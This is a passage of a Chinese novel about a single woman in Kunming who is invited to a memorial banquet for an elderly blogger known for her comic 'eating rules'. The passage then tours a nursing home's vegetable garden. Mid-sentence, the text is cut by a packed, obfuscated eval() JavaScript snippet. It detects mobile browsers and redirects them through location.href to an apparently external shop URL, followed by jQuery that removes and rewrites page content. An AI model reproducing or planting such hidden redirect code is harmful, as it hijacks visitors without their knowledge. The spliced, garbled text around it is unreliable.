01 一把年纪的老太太的吃饭法则
康定杨的展览，恰到好处不温不火，拉开了石房子活动的序幕。
小院里开放了一个留言区。有传统的留言簿，有匿名邮筒，也有电子邮箱等现代通讯渠道。邮筒，周一和周五各开一次。邮筒旁边有一间小小的茶室，提供纸笔、信封和可以用作邮票的文创贴纸，上面印着瓦猫、山茶花、海鸥之类的昆明文旅IP。材料准备得很周全，但到底还是需要人花一点点时间和耐心来写。不是所有访客都有时间喝个茶、写个字，所以每次开箱，最多三五封，有时空空如也。
二更是从邮筒时代长大的人，小时候她还和远方的笔友通过信。她对中国邮政印象极好，因为她有一次写了厚厚的一打信纸，贴的邮票抵不过运费，被打上了邮资不足的戳，但邮递员却依旧送达了。自此，她总有一种欠了一份情的心理。于是，她掌管着石房子邮箱的小钥匙，像个尽职的邮差，每周都会定时开箱。
这次，有信，也有......糖纸？！ 包成了一个爱心形状的糖纸。二更拿在手里摸了摸，没有什么锋利的东西，应该不是恶作剧。她小心地拆开，上面写了两个字：嘿嘿。
好吧。算你赢了。谁家的淘气孩子？！
再打开这周的信，上面是一位名叫杜衡的访客留言，笔迹工整古雅，语气有一点点宽和的长者气息。
我在康老师的画作里，看到了昆明人美好的精神状态和生活美学。这种生活美学是老百姓，你我他，在一个相对松弛的生活氛围里，在美好多彩的社会环境里，在和气友善的社会风气下，在日光普照下，被激发出的人性中美好和温暖的一面。它很质朴，来自人民群众的骨子里，也很踏实，实打实地在被阳光照暖的草坪里，在男女老少简单的衣着里，在大家质朴的笑容里。
希望你们继续潜心挖掘人民群众的生活美学!
很像一位老干部的留言，言辞恳切，二更觉得十分受用。
另一封信，笔迹洒脱狂浪，二更花了很久才全部读通。信的内容，大意如下：
这是一种不被现代的流行文化定义的美，不被西式文化定义的美，不裹挟在任何传媒、时尚话语下的美。它是从大地上生长出来的，被云贵高原上的太阳滋养出来，让人面露微笑，但内心汹涌。这是一种很感人的力量！
二更将这些反馈如实转达给姜籽、老延和陆均松。四人顺畅地定下了石房子之后一系列活动的基调：内容不限，形式不限，只一条：要能够传达出在昆明这样的城市里，那些好好独自生活的人们，日子中的生活美学，人性之中的真善美。
“一提到艺术、展览，总归会有一些人觉得离自己比较远。尤其是每天匆忙生活的人。你看那旁边晒太阳的老太太，在打扫卫生的环卫工人。只要大家都在好好地生活，好好晒太阳，好好吃饭，好好地去爱护和享受自己所爱的事物，这种日常生活本身就是一种生活艺术。这其中当然包括那些独自生活的人们，她们如何追求快乐、平静、充实，他们如何定义生活的圆满。这些，都是普通老百姓不会觉得望而却步的美好，值得用大家听得懂、也能理解得了的方式展现出来。”二更总结道。
对，就这么简单！
--
一周后的这天，二更被姜籽喊起来去晒太阳。
午觉睡到三点多，原本是独居人生最怕的一件事，因为醒来后半梦半醒大概需要半个小时，起来走动一下又半个小时，随便吃个饭再半个小时。在一些北方城市的冬季，天恐怕很快就要彻底地黑了。这感受并不是很积极。二更遇到过。假如不强迫自己出门走走，这个冬夜会很难过。一些消化不良的负面记忆会掐准时机狠狠复苏。但在昆明，这种情况不会复现。日落稳稳当当推迟在了将近八点。就算睡到一觉睡到四点多，也有余地爬起来去看一场灿烂的晚霞。
一只大金毛蹲在姜籽的电动八嘎车上，还戴了一幅儿童墨镜。小黄姜的金发迎风飞舞。见到二更走出门口，它的尾巴立马摇摆起来，像一只肥美的芒草。一旁驾驶座上，姜籽带着粉色头盔，朝二更招手。姜籽没有驾照，又很喜欢带着小黄姜出门，索性选择这种带着小狗专座的电动车，刚好可以从市区去几个滇池边的湿地跑几个来回。
二更坐在姜籽身后，视野的余光里，始终跳跃着一缕金色的绒毛。路边，十几株红梅已绽放，把视野染出片片桃红。一两株点在其间的白梅，还在矜持地含苞。
迎着光与风，二更细细地品着昆明的冬季。不是盛夏，不是暖春，二更觉得，昆明的冬对她这样喜欢独来独往的人来说，简直太美好了，让人心甘情愿地想要去原谅它在其他方面的不足。如果它有颜色，应该就是日光下的五光十色，是日光洒在各种植物身上又被折射到人眼中的色彩，带着透亮的明媚，质朴大方，干净热烈。一切闪亮的词汇都可以用在这里。每一天都不会缺少绿色，每一天都会有新的变化。很多不娇气的植物，洒在地里，就能长。独行的人，心中有郁结的人，生活有些艰难的人，也被日光拉进了这光明磊落的画面中，心上长出幸福的绒毛。
她坐在姜籽的身后，小黄姜的一旁，两人一狗，一路从从晒得光莹莹的地方，骑到温度骤降的阴影里，再浸入树影和流光里。在阳光下缓缓地骑下坡路，感受叶子洒在身上的影子，看日光经由水面折射，爬上岸边树干与树冠的流光，很日常，却又如梦如幻。
小车忽然停下来，遇上了一家洋芋摊，姜籽打算给小黄姜买个热土豆。
说起来，二更想到要来云南住几年的原因，也与烤洋芋有点关系。
几年前的一个冬天，她和同事去贵州采访民族节庆活动，在从黔西南前往昆明的高铁途中，穿越一个又一个的隧道。在贵州几日，连日阴雨，二更觉得从秋裤到袜子再到灵魂，她似乎都被雨水打湿了，到处都浸透了湿冷气。然而沉郁的心情意外终结于她们穿越昆明准静止锋的时刻。
隧道尽头，倏然一束光照进，快速行进的高铁带着她从阴雨撞入了彻底的晴朗，湛蓝的天万里无云，日光在她有些疲倦的眼皮上大方地亲吻了一下。她像跳进了色调纯真的穿越日漫，瞬间的阴晴之差叫人诧异又上瘾。二更产生了一种坚定的错觉，世界会忽然好起来。
这次工作的最后一项任务，要拍摄一队在昆明城市里推广打跳活动的年轻人。二更来到他们的小院时，一锅炉热土豆刚刚考好。打跳队的青年给工作组每一人分了一颗热土豆。一位肤色被被晒得很健康的姑娘戴着微波炉烹饪手套，帮大家把土豆切开，再用水果刀蘸一点点鲜香的辣椒酱，抹在金黄的土豆块上。二更想到了很久之前看过的一本书的书名，《一颗热土豆是一张温馨的床》。人生会骤然变好这个念想，再度被她手捧着的一颗云南的热土豆加持了。
一颗热土豆很快被小黄姜吞到肚中。“到了”，姜籽说。
尚算安静的一片湿地草坪，夹在两处湿地公园之间，只有一些本地居民住在附近的本地居民或是地道的骑行客们知晓，默契地并未在社交媒体上外传。
近处，岸边水杉已红，三、五只鸭子靠在水中的落羽杉树根下开会。一只独行的鸭子，反方向渐渐远去，在湖面划出一道三角形的水痕。斜对岸的喧闹湿地，隐约能看到来喂红嘴鸥的游客们。他们拥挤着，愉快地拍拍天空，怕拍红嘴鸥，拍它们飞过西山睡美人的轮廓，拍它们落在音乐家聂耳雕像的头顶上。红嘴鸥的叫声和人声的喧嚣声存在，在恰如其分的距离以外，那是一种温和的遥远，反而叫人安心。
姜籽把自己张大成一个标准的“大”字，四肢在干净的草坪上自在地划拉了几下，找到一个最舒服的姿态，“我睡一会儿噶！”。
二更跟着学，身体放松，思绪逐渐开始糊。就在她刚要进入浅睡时，一道温和的声音叫住了她。
二更迷糊地睁开双眼，日光太明朗，有些晃眼。她伸手摸到放在草坪上的墨镜，慌忙戴上，看人。
眼前是一位优雅的女士，一头银发，亮闪闪地晕出月光般的柔光，眉眼弯弯，牙齿很白。“
看你们躺在这里晒太阳，像是本地的孩子？”她问。
一听对方说话是标准的北方口音，二更以为是外地来游玩的游客，想要问路，便连忙起身问道，“有什么可以帮您的？”
女士笑笑，“也算是帮忙的。我们养老院要办一场活动，是一场纪念性质的公益宴会，免费的。这是邀请函，你们有兴趣来吗？”
“冬日可爱小菜园？” 二更接过这张邀请函。它的形状似一朵盛开的白山茶，内里写着活动的主题：梅蓝女士纪念公益宴。署名是日光彩虹康养院X冬日可爱小菜园。
“冬日可爱小菜园？”姜籽也醒了，她眼睛一亮，翻身坐起，问道，“这就是那位画《一把年纪的白发老太太吃饭法则》的老太太吗？”
姜籽说的是以漫画形式走红并连载于某生活类APP的一组手绘图片，发布者是一位注册名叫“春夏秋冬都要好好吃饭”的70多岁的女性用户。这个账号会基本按照一日三餐的频率，按时记录自己的饮食。菜品没有什么奢侈的食物，家常当季，营养均衡，口味清淡。再后来，单纯的照片渐渐变成了手绘的漫画。她从2018年开始学习用IPAD画画。她从未接触过绘画，老年后的简笔画遵循了简单随心的风格，有孩子般的稚拙风格，再配上一些文字。APP平台原本计划在银铃节、重阳节等节点重点推送这名用户的发帖，没想到，她的最大受群竟然是年轻人。因为，她确实是一位十分可爱又很有创造力的老太太，有时候，有些慵懒，不那么正经，从来不会死板。
大家给这些小画起了一个名字，“一把年纪的白发老太太的吃饭法则”。
--
01 醋瓶底子原则
过去的事，解不开，无解的，就让它存在着吧。
就像一瓶好的陈醋，吃完了，总有沉淀。
当看不见好了，当湖底的石头好了，渐渐地和地球连在一起，很踏实。
02 鸡蛋裂缝原则
每天清晨，吃一个鸡蛋。
大家要保证每天吃一个鸡蛋。煮一个鸡蛋，拿着还温乎乎的鸡蛋，就往外散步去。可以拿着鸡蛋不断的搓脸，把脸颊、眼窝都温得热乎乎的。等到鸡蛋温度降下来，就随便找一棵看着顺眼的树，砰砰砰磕几下。蛋壳碎了，一边散步一边剥壳一边慢悠悠地吃掉，最好把鸡蛋的鸡蛋完整地保存下来，然后丢进垃圾桶。
不爱吃鸡蛋的人，可以试试这个办法，保证一天一个蛋。
03 蛋挞情人原则
去甜品店也可以买蛋挞，但只买1-2个，路上就能吃完，不带回家。
就像情人最好在外面幽会，但不要带回家。这样也不会有负罪感。（当然这只是一种比方）。
这个法则其实适用于一些不那么健康的食物。
要记住冰箱就是自己的家，不能不忠。太甜太油的食物，最好少放或者不要放进去。
04 一小口原则
不好吃或者害怕吃的食物，一小口原则，就不会觉得抗拒或者害怕。
或许，就会慢慢地喜欢上。
多吃一些新奇的，可爱的食物，譬如地方特色食品、少数民族食品，乃至一些网红黑暗料理。只不过，不许多吃，只能一小口。
这一小口，也代表了不老且刚好的好奇心，是人生对外开放的使用法则，就像睡得不太舒服，把一只脚伸出被子，缓一下，就好了。
05 森林里不只有菌
有小朋友问，不结婚可不可以。
我想做这样一个比方：你走入一片森林，或许最开始，很容易被那些蘑菇吸引。它们生得五颜六色，还有些隐匿，这让寻找蘑菇的过程十分有趣，人们被蘑菇吸引，理所应当。
蘑菇有很多种。有些样子朴实，藏在松树下的落叶里，经常被松针、杉树的叶子、松果和麻栗果子铺盖着，难以被发觉。有些光鲜妩媚，金黄色、银白色、紫色、红色、乳白色，形态各异，有的纯洁得如童话里的仙子，也有一些，在林间很妩媚，但一入人间就是毒药。
有些人喜欢采蘑菇，也有些人不喜欢采。
有些人采到了可以吃的蘑菇，有些人会猜到吃了中毒产生幻觉的蘑菇，甚至有些人因此丧生。有些人一辈子就沉浸在找蘑菇的快乐里，只要不是杀害人的毒蘑菇，也是很有乐趣的。
大多数云南人都知道，菌子，还是要选自己喜欢的几种吃。有些特别好的，从来不和别的菌子混着吃。所以地道的云南吃法，不太会把特别喜欢的菌子混在一起炖成火锅吃，因为味道会乱窜，尤其是好的味道反而被冲淡了。
当然，有人不会沉迷于摘菌子。因为我们来到的是一片森林，是一片森林啊！
森林里脚边有菌子，还有蕨类，还有各种小花小草，身边有空中悬挂的藤类和低矮的灌木，再抬头，就是参天大树。就像云南的林子里，常见油杉、松树、柏树、樟树、桑树，随便哪一棵，都是伟岸挺拔的。如果有人喜欢看树，漫步林间，去仰望树，观察树，体会绿，也是一件再正常不过的事。只要多走走，人就会很自然地喜欢上这种自在漫步的感觉。
但这些，或许和只摘菌子就不往前走的人，不一定能说不明白的。
大家各有乐趣就好。
森林是多彩的，包容的。
无论你沉迷于它的哪一点，只要你开心，森林就有意义。
06 不便秘原则
一个便秘的人是无法让人身边的人幸福的。
一个人只有把自己的作息饮食细节调节好，内心才真的简单干练，带给身边人的感染才真的平和。
平和到了极致，就是温柔。
07 腌肉理论
肉不新鲜，不合适，买东西来凑，结果都是不好的。
一开始就放弃，一开始就寻找对的，反而最简单。
08 属于自己的盘子
买好看的盘子，即便别人看不到，也要好好生活。
杯子和碗，也一样。
09 言有灵法则
人要学会赞美食物。
如果吃到了很好吃的食物，就做个记录，记在本子上，或者，记在手机里。
甚至吃到一些奇怪的水果或是蔬菜，都可以给它们编一些故事。
身体像一座宝塔，每天放一些可爱的食物，赞美它们，它们就会发挥更好的效用。
10 腰上的肉肉
侧腰上的肉肉，不要太少也不太多。不能软糯得像汤圆，也不能像软透了的猪蹄膀，像猪蹄那样，刚刚好。鸡蛋那样，也不错。
睡不着的时候，戳一戳，弹力刚刚好助眠。
--
两年前，这个账号停更了。直到最近仍然常有人留言。大家会问，“好好吃饭老师”去哪里了？这是年轻粉丝们送给她的雅号。
不久前，账号更新了一篇新的文章，也是置顶文章。评论区炸开了。这不是一个好消息，这是一篇迟到的讣告。但它早已过时，所以，没有迟到的悲伤和沉痛的告别，而是一份诚挚的邀请。
--
冬日可爱小饭桌，是梅蓝女士一手创办的。至今，已经十周年了。
去年年初，梅老师离开了。她离开得很安详。请大家节哀。
我们经历了一场温柔的雨。雨后，我们扫静心情，整理庭院，开始迎接新的开始。
过去一年来，按照梅女士的遗愿，我们启动了“冬日可爱小饭桌回馈社会计划”，先后与昆明北市区的多家社区福利机构成为伙伴，如孤老院、孤儿院以及商业性质的康养院、流浪动物救助机构。友谊带来的喜悦平和了失去梅女士的心痛，也创造了更多社会价值。
在梅女士离开一周年之际，也是冬日可爱计划运营一周年的纪念日。
我们希望以一场公益宴会，欢迎新老朋友！
--
这次宴会面向全社会开放，优先考虑梅蓝老师的粉丝们。按照冬日可爱的餐厅规模，内场和外场共能容纳800人。很快，申请就满额了。
同时，有几个特意留出的名额，由常桉女士亲自把握，留给了梅蓝以前喜欢去的几个地方，在冬日暖阳偶遇的陌生人。常桉，就是二更和姜籽在湿地边遇见的女士，也是冬日可爱小饭桌如今的负责人。
02 冬日可爱小菜园
两日后，二更和姜籽造访冬日可爱小菜园。
它位于昆明北市区，有两个门，东门和西门。从地图上看，似乎分不出所谓的正门在哪里。二更随意选了个，西门。
选错了。西门是后门。一个小门，当然也是能进的，卫门大爷一听“是来吃饭的”，立马放行。进来之后是一大片菜地，也是冬日可爱小饭桌这家主打食材自供的餐馆真正的菜园。
两人沿着一条明显的主道往前走了一段路，似乎停在了菜地的中心点。大片菜园，从中心向外辐射，分出十几条岔路。走进来容易，然而接下来往哪里走，却是个问题。第一次来的二更和姜籽，很难分得清东西南北。目光所及之处，皆是“小马甲的菜园”“陈小无的基地”“王老师的培育田”之类的信息牌。
此时，如果有一只小飞机从二人头上俯瞰，一切就变得十分明了。
冬日可爱小菜园，建在昆明北市区一处流水瀑布公园旁边。周边有三五个居民小区、几家康养院。其中一家日光彩虹康养院，距离公园与餐馆都很近。康养院与小菜园的主要投资人都是梅蓝女士。康养院创立已十多年，小菜园创立也有六七年。起初，餐馆在一个叫做小菜园的立交桥附近，是一个自助的素食餐馆，是梅蓝为了践行护生理念做的一个保底生意。后来为了康养院住客们种地与饮食的联动需求，才搬离了市中心，落地现址。
姜籽和二更停在了小菜园的菜地中心，其实，沿着东南方向的一条小径往前，就能抵达小菜园的餐厅。这片菜地是小菜园食客与康养院住客们的菜地。大家象征性地缴纳一些租地费用，可以自己耕种，也可以出一些费用，让康养院的叔叔阿姨们帮忙看护。每一片菜地都有名字、面积和蔬菜品类等详细登记信息，种植情况有专人跟踪，定期上传图片和信息，供主人们知晓情况。采收的蔬菜可以配送给同城的主人，也可以被食堂回收，抵消部分租地费用。承包活动实行以来，从来没有一片菜地空着。大部分承包菜地的主人，来自于小菜园的邻居---日光彩虹康养院。
盯着餐馆来客动态的常桉，正举着望远镜，恰好发现两个迷路的人，前来搭救。
“现在年轻人不太经常自己做饭了吧？”，常桉一边搭话，一边带着两人向着挂着“张老五菜地”标识牌的东南岔道走。
姜籽和母亲一起住，不必担心这个问题。二更接过话题，回应说，“我做饭不好吃。有时候，做出来的东西也不太能吃，但还是会经常做点简单的东西自己吃。”
“不能吃？”常桉有点疑惑？
“就是......最开始，做出过碳。”二更说得很坦然。
“碳？”常桉琢磨了几秒，恍然大悟，哈哈大笑起来，“碳！哈哈哈！”意识到笑得太过直接了，常桉迅速修整了一下，意味深长地看了一眼二更，眼睛亮晶晶地说，“不怕，梅姐也这样。她以前也会做出来，碳。”说罢又忍不住，咯咯笑起来。
“不过，你答应我，帮她保密，我也帮她保密了很久”。常桉边走边说，“我亲自邀请了几位客人，能来的只有你们两位。要么时间不对，要么是游客，现在已经离开了昆明。”她又指了指旁边一片花田，这时恰好长出了绿油油香菜和小葱。“这是梅姐曾经种过的菜地。先是在她常去的湿地边遇见了你，你又是和她一样厨艺不太好的人，或许，你们有缘吧。”
正因为厨艺不好，又要想如何好好吃饭，梅蓝才会认真做起冬日可爱小菜园来，让自己和更多人有新鲜简单的食物吃，保证健康均衡的一日三餐。她把一件自己做不好的事，变成了会造福更多的事，让更多人可以好好吃饭。
好好吃饭，不容易。一个人过，还能做到好好吃饭，更不容易。有过一个人住、一个人做饭、一个人生活的经历，二更觉得，用“伟大”来形容这项成就也不为过。这需要对生活、对自己有很多很多的爱，并且自律去执行。
做记者那些年，工作很忙，她很多时候懒得吃饭，结果经常低血糖。三十多岁之后，坏习惯改得并不彻底，时不时贫血。意识到自己不能再如此了，她决心好好吃饭，新的问题又出现了。
首先，一个人吃饭，分量很难控制。豹子捕到猎物后拖回家，慢慢吃，真是一个好习惯，但豹子们专一，她不太能做到。一包山药米粉就要吃很多天，买回家的食物，有时也想不起来吃。一种食物反复吃来吃去的时候经常有，吃着吃着，就觉得，天啊，人生好像没有盼头了！只能一边念着对不起对不起，一边偷偷丢掉已不新鲜了的变质食物。
再者，偶尔会无聊。她看吃播看了好几年，收藏列表里有一堆吃香很好的吃播，清一色都是圆圆脸、圆圆手、一眼看过去就很有福气的女孩子。她们吃的都是家常菜。最爱的一个吃播，三、四分钟的短视频里，每隔十秒钟就会从身后掏出来一种新的食物，好像美食界的哆啦A梦。但说起来，真的自己去吃视频里的食物，又似乎没那么好吃了。
吃饭挺难，做饭也不是一件简单的事。一个人在家做饭，从买菜、备菜、做饭到洗碗、整理厨房，需要花很多时间和精力，每天都来一遍，很吃不消。有时候，二更会跑很远到一家超市去买菜，因为那里有切得很小的紫甘蓝坨坨、大头菜坨坨。这就是一个人做饭经常要面临的问题，从买菜这一步就不太方便。
打扫也很累心，对于一个有些洁癖的人来说，尤其不易。刚毕业时，二更租了一处很宽敞的房子，到处都挺干净。唯独厨房，因上个租客是个美食家，喜好油辣，留下了很多痕迹。二更请了专业的清扫服务，但仍然有些痕迹。于是她自己来，忘记废掉了多少个抹布，才基本完工。累到不行蹲下来休息的时候，她突然发觉，自己把犄角旮旯的油污清理干净的过程中，一个陌生人在这个房子里吃过的油的证据，被一点点发现，又被一点点抹掉了。原来人做饭会留下那么多的痕迹，墙上瓷砖上的油点子、抽油烟机油盒里的油污、柜顶上不知道多少年陈年积累的褐色油疙瘩。这么想想，人的消化和排泄系统真的很伟大。
在那之后，她自己做饭时，一般只做煮和蒸的食物，水蒸气不太会给厨房留下什么擦不掉的痕迹。退房时，房东看着水灵灵的厨房，十分满意。
二更对食物的接受度，估计算是人类的下线了。胡萝卜水煮也可以。甚至银耳、白萝卜水煮都可以。所以她不太喜欢和别人一起吃饭，因为这样的菜色一旦被人知道了，就会被觉得活得很可怜。她一个人过春节、过中秋、过国庆节、过清明节，很少吃节日特色食物。在吃饭这件事上，是很敷衍的。以至于有次去见朋友，对方带来一个家人削好的苹果递给她时，她感慨良多。她很久没有吃过这样的苹果了。像她这种自己生活，并且时不时会偷懒潦草敷衍一下自己的人，根本不会削苹果，直接就上嘴啃了。有时候她会忘记买苹果，或者来不及买苹果。有时候她要忙着把自己没经验买多了的冬枣、橘子、橙子抓紧吃完，尤其是香蕉，它们总是会黑得很快。
这些年，她也创造过一些只有自己喜欢的吃法，奇奇怪怪的。毕竟只是自己吃，不害人，因此不必苛责。比如，生菜叶子包一切，包喜欢吃的烧麦、咸蛋黄，包一些买回家的梅干菜千层肉。她也尝试过偶尔心血来潮，自己做一些奇特的菜式。早年因为不懂得食物相克，也曾不幸地把自己吃到食物中毒过，诸如什么芹菜香菇鱿鱼脚丸子，就是很好的“毒”。这些年，她偶尔也做出过一些可口的怪异菜品。比如有次她从超市买回了两种味道不同的辣椒酱，广式蒜蓉辣酱，桂林口味辣酱，但没有一个是辣的。她用两种辣椒酱混着番茄酱和醋，把买回来的熟猪肚二次加工了一下，起名叫做“辣卤淡淡肚”。也是缘分啊，人生能吃上这道名菜。竟然味道还不错。但也就只做过那一次了。
二更边走，边在心里暗自回想这些，什么“辣卤蛋蛋肚”，什么把自己吃中毒的往事，自然是，都不好意思说出口的。
但正因如此，她才十分理解为何梅蓝那些一日三餐的日常吃饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294807|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打卡与关于吃饭的各种体会，能吸引那么多年轻人。
通勤的人们早晨7点多就得起来，不是每个人都有能量做一顿美美的早餐，坐下来好好吃完。很多人直接囫囵洗漱完就出门了，地铁口买个包子豆浆，一边吃一边走，还得咽下去不少冷空气，等到工位上开始制造不可爱的打嗝。讲究一点的，看一下家里有什么，吃个吐司、面包，配个牛奶豆浆或者咖啡，以二更这类敷衍自己的水平，她觉得能做到这样的人就已经很厉害了，因为这意味着你得加热、冲泡，甚至需要摆盘。还有些人会买些三明治备着，或者前一晚到超市买打折的备好。真实的早八人是没力气拍那种精致的VLOG的，他们甚至不会撕掉包装纸上的黄色打折标签。
所以，她们喜欢梅蓝老师这样，把好好吃饭当成人生的一件事来办，办得踏实日常的人。
三人走在这条小径上，两边是围着篱笆的露天菜地或是小型的蔬菜大棚，入口处都有花朵形状的路灯，上面挂着的小黑板上用彩笔写着大棚的名字和归属者。距离二更最近的一个大棚，叫“臭宝园”，主人是小张。
“小张是去年来的，带着一只狗，叫‘臭宝’。哎呀那只狗哦，看起来小小的，但放起屁来真的一个接着一个。我们以为它很小的呀，一问才知道，十四岁了！走路都很慢的。小张就带着它一起过来养老。今年年初，狗走了。
这里原本是一片荒地。种上菜，就生机勃勃了。人生啊，就像开荒。年轻的时候觉得日子很忙，结婚，生子，养小孩长大，送老人病走，几十年填得满满当当。但老了，回头一想，人生，到底还是像一座孤岛，还是要一个人面对很多事情，比如晚年了，身体衰退，比如要面临死亡，走也是一个人走。爱，陪伴，金钱，都可以适度地减轻这个事实，但没办法改变它的本质。所以我们很多老人家，喜欢种地，种地踏实。想明白了，看到底了，也就心境平和了。”常桉感慨道。
大棚门没关，里面现在栽着小葱。
“小张喜欢看葱开花，葱每次开开出来那种很漂亮的花，他都会做成那插花。他还喜欢吃醋，后来慢慢的积攒了各地的醋。来云南之后，他很开心，因为各地都有发酵的醋，还有不少酸汤米线。”
常桉带着两人继续向前，来到小马的菜地。
“小马，因为种菜种得好，大家都叫她马老师。小马确实是个语文教师。我们叫她小马，其实她也60多了。她住的院子有单独的厨房，自己可以做饭。如果闻着排骨很香，那一定是她在做饭。
我们现在有一个黑名单，蛇瓜，倭瓜。因为当年当整个院都在种窝瓜，倭瓜又长得非常好，又很好种嘛。所以产能过剩，我们还送给旁边所有的单位，甚至周边的几家银行。它们有段时间都不给办卡的送大米，送油了，直接就送窝瓜。再后来，我只好做了一个决定：再也不许种窝瓜了，这股风潮才终于停下来。”
前面几步，是一个公共菜地，种花生和大蒜。常桉问二更和姜执，是否知道这些每天都吃的调味品种多久才能收。两人都不出声。常桉不意外，笑着解释道，“大蒜需要8-9个月。小葱7-10天可以出苗，20-30天可采收。香菜是30天到60天左右。”
说起来，二更成年后第一次近距离地感受一个陌生独居老人的去世，也和菜地有关。
那时她在广州短暂地外派，住进了一个有些年岁的老家属院。第一周，楼下一层，有个老太太去世了。老伴去世后的十几年，一直自己住。老太太人很好，还是附近几个小区里小朋友的钢琴教师，平时和居委会关系也不错，常年给社区的合唱队做伴奏。老太太祖上是山西人，她自己会做山西面食，最特别的是榆钱窝窝、槐花饼子。她通常会多做一些，分给邻里。那是在广州不容易吃到的味道。
她去世后，居委会和学生们、歌友们在她家中，举办了一场很安静的小型告别会。家里非常干净，客厅里除了必须的餐桌椅，几乎没有其他家具，空间留给了一个挺大的隔音仓，里面放着钢琴。卧室很温馨，虽然是复古的老黄风，但质感很好。镜子尤其典雅，浮雕花是木棉花。这是广州很常见的花，人们会捡拾落花，晒干了，用它煲汤。
她还有一项特殊的遗产，留给了邻里--小区公共菜地里种出好风水的一块菜地。从那之后，小区的人们几乎不用再买葱姜蒜了，偶尔还有香菜。学生们和家长们轮流在打理这片菜地。二更不怎么做饭，但也值过班。
“我喜欢香菜的味道”，二更想起值班时自己摘香菜的记忆。
“梅姐也喜欢。”常桉说话间，小菜园的主餐厅到了。
餐厅靠近一片人工湖，锦鲤养得很胖，人隔很远都能看见并知晓它们的肥美。老人们喜欢给他们喂食，可惜到了有害锦鲤健康的程度，所以常桉要时不时地制止。
人工湖中，还漂浮着一片王莲叶。但只有一片。“假的，老小孩愿意玩，底下是稳稳的水泥桩子，心情好了他们就过去，在上面站桩。”常桉说。
餐厅的主体建筑是一个两层白色小楼，从外面看，窗户饶有趣味，上面绑了各种娃娃玩偶，各种皮卡丘、奥特曼、猫猫狗狗都往窗上爬。康养院老年活动很多，大家动不动就抱回来一些，索性就往窗户上装饰。
“那扇叫‘猫狗开会’。那扇叫‘霁月清风窗’。”常桉道。
“窗户还有名字？”姜籽很是惊讶。
“可不是。只要你想，什么东西都可以有名字。还有那个”，常桉指指二楼窗户上的一片白色。
那是.....两人更加疑惑。
“一片白色的卫生纸，他们给它起名叫‘小黏黏’。这片纸，在这里有快一年了。”常桉解释道。
两人忍不住哈哈大笑起来。
“人老了，活明白了，会逗自己乐了”。常桉道。
她带着二更和姜籽转向一边的山茶花园。起初，这里是作为月季主题的小园林来设计的，红墙上还特意造了一些错落有致的几何形小窗，计划营造窗中带景、移步换景的效果。地栽的区域，种植了扉窗这类强壮的地栽类月季，红墙上爬藤架的区域，种植了大游行、胭脂扣、黄金庆典、龙沙宝石等爬藤类的月季。每年秋冬季节，月季盛开，确实会铺展开一片层次分明，花窗饱满的月季花海。但大多数时候，反而是山茶开得好。于是，月季园在一年之中一半时间里，成了山茶园。如今，环环之间，月季只零零落落地开，红山茶却开得正酣，无人可争红艳。
日光正好，花园的座椅上，床单被风吹鼓，像蓬蓬裙。这里晒了不少床单。晒足一上午，要收床单了。
一个阿姨扬起一张床单，她在借力，借助风的力量，把床单顺着风吹的方向整齐地折好，像在和风一起合作。床单不大，单人份床单。二更一眼认出，1.2或是1.5米宽。
单人份的被子很轻，很容易打理，好换被罩也好收纳，不至于为了换个大被子的被罩就累得气喘吁吁。单人份的小被罩和小床单，一个人撑开双臂就可以差不多拿住，折叠起来也轻松得多。在这一瞬间，二更发现，独居的人会有一套彼此能懂的生活密码与窍门。
还有几个阿姨在收晒好的衣服，袜子晒暖了，握在手里暖暖的。一个人捏开夹子，让袜子像雨滴一般落下，另一个人用围裙兜着，像接落花一般接住袜子。全程没有一个人说话，她们根本不需要语言，也能玩得很开心。
常桉见两人看这幅画面出了神，没有打扰。等到阿姨们把床单被子袜子都收好，才引两人到花园处的一个座椅上坐下。
山茶花园中心的喷泉喷着水，在日光下，折射出幽微的彩虹。日光彩虹，约莫就是这个画面吧，二更心想。
这次纪念宴会，分为内场和外场。内场是小白楼餐厅常规设置，外场则是露天的餐厅，每个餐桌都不大，最多只能容纳五人，也有三人桌。桌子上都设有一个蘑菇形状的遮阳棚。
二更和姜籽提前很早过来，此刻外场只是零散着做了几位食客。老少都有，银发、黑发的头顶像绿地里冒出来的小蘑菇。银白色的小蘑菇，大多不惧怕日光，彻底地晒在露天，闪着晶莹的光。黑发的小蘑菇们，大多集中在蘑菇遮阳伞下。但如果有那种长度到腰、像油条那般粗的辫子，不用怀疑，都是中老年人，它们属于一些充满高原的生命力的阿姨们。
“在全力接手小菜园的这一年以来，我才渐渐明白，为什么梅姐决心做一个小菜园。”常桉说。
在常桉看来，关于梅蓝，关于小菜园，有两套解释。
一套是对外通用的。
梅蓝，北京人，1948年生人，上世纪60年代，曾在云南做知青。70年代返乡后参加高考，报考中文专业，之后从事语文教师工作至退休，丧偶后未育。她和友人联合创办这家康养院的原因之一，是因为很多人的青春曾在这里度过。在那个复杂年代，她们那代人付出过青春，甚至付出过生命，但也产生了许多人生体悟，诸如困境中的生存之道、闭塞中的豁达心境，以及特殊年代产生的爱情与友情。这些也都是赤诚的，无法在其他年龄、其他地方再复刻了。
养老院创办后在云南知青圈子里很有知名度。起初，考虑到交通与医院条件等现实条件，彩虹康养院设立在昆明。后来，又在普洱、元谋、大理等地开设了分院。除了常居的老年群体，这里还会定期举行云南知青的社团游与短期康养体验项目。从集体宿舍，单人间，到单人院落都有，除了提供常规的康养服务，彩虹康养院还提供临终关怀以及老人去世后一系列的后事操办事宜。
康养院创办几年后，小菜园创办。最初，小菜园是一间素餐厅。因为梅蓝从三十多岁开始就常年吃素。后来，有一次她因痛风住院。病房里三个病友陆续康复了，只有她迟迟是不好。医生认真询问了一下，发现只有她吃素，建议慢慢恢复荤食。从牛奶开始，到鸡蛋，再到高原的牛羊肉，慢慢地，小菜园也变成了一家荤素都有的自助餐厅，荤素之间有妥善的间隔。
